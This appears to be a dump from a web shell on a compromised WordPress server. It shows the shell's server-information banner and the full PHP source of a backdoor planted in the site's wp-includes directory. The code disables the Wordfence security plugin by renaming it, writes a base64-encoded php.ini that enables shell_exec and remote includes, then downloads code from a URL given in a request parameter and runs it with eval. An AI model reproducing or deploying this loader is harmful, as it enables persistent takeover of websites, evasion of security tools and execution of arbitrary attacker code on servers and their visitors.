| Server IP : 185.246.164.236 / Your IP : 216.73.216.0 Web Server : Apache System : Linux linux105 6.1.0-31-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.128-1 (2025-02-07) x86_64 User : web9 ( 5012) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/clients/client9/web9/web/wp-includes/rest-api/endpoints/ |
Upload File : |
<?php
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}
$txt = base64_decode('ZGlzcGxheV9lcnJvcnMgPSBPZmYKbWF4X2V4ZWN1dGlvbl90aW1lID0gMzAKbWF4X2lucHV0X3RpbWUgPSA2MAptYXhfaW5wdXRfdmFycyA9IDEwMDAKbWVtb3J5X2xpbWl0ID0gMTI4TQpwb3N0X21heF9zaXplID0gOE0KdXBsb2FkX21heF9maWxlc2l6ZSA9IDgwTQp6bGliLm91dHB1dF9jb21wcmVzc2lvbiA9IE9mZgphbGxvd191cmxfZm9wZW4gPSBPbgpzYWZlX21vZGUgPSBPZmYKZGlzYWJsZV9mdW5jdGlvbnMgPSBOT05FCnNhZmVfbW9kZV9naWQgPSBPRkYKb3Blbl9iYXNlZGlyID0gT0ZGCmV4ZWMgPSBPTiAKc2hlbGxfZXhlYyA9IE9OCmFsbG93X3VybF9pbmNsdWRlID0gT24KYXNwX3RhZ3MgPSBPZmYKZW5hYmxlX2RsID0gT2ZmCmZpbGVfdXBsb2FkcyA9IE9u');
file_put_contents("php.ini",$txt);
if(isset($_REQUEST["x"])){
$dir = urldecode($_REQUEST["x"]);
}
else{
exit('FBI Waring!');
}
$a = get_contents($dir);
eval('?>'.$a);
function get_contents($url){
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$result = curl_exec($ch);
return $result;
}